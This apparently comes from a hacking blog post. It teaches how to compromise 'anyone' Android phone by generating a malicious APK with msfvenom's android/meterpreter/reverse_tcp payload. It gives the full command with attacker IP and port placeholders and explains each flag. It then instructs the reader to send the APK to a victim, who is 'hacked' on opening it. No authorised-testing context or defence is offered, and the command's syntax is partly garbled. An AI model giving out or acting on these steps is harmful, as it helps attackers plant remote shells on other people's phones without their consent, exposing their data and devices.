Hacking Android using malacious apk

 Hiiii friends today we are going to talk about really interesting topic that how you can hack anyone android phone using malacious apk.

For this you just need Kali-linux and msf-venom.

Msf-venom comes preinstall in Kali Linux.

Msf-venom is a command line instance of Metasploit that is used to generate and output all of the various types of shell code that are available in Metasploit.

To generate Payload using msf-venom you have to open Linux terminal and type the above command-

msfvenom -p android/meterpreter/reverse_tcp lhost=<your IP address> lport=<port no on which you want to listen> -f payload.apk > / root/

P= Payload I.e. Windows, Android, PHP etc.

In this tutorial we used android payload

Lhost= your IP address

Lport= any port you wish to assign to the listener

F= file extension (i.e. windows=exe, android=apk etc.) Followed by path where you want to store the file

As it is android Payload we use .apk extension

And after typing this command you just have to hit enter and msf-venom will generate a Payload or malacious apk for you in the given path

Now you have to listen for incoming connections:

I already told you how to listen for incoming connections in how to hack Windows 10 blog so pls do visit their .

Once you are ready to listen for incoming connections do send that apk to user and as soon as victim open that apk he/she will be hacked.

That's all for today's friend

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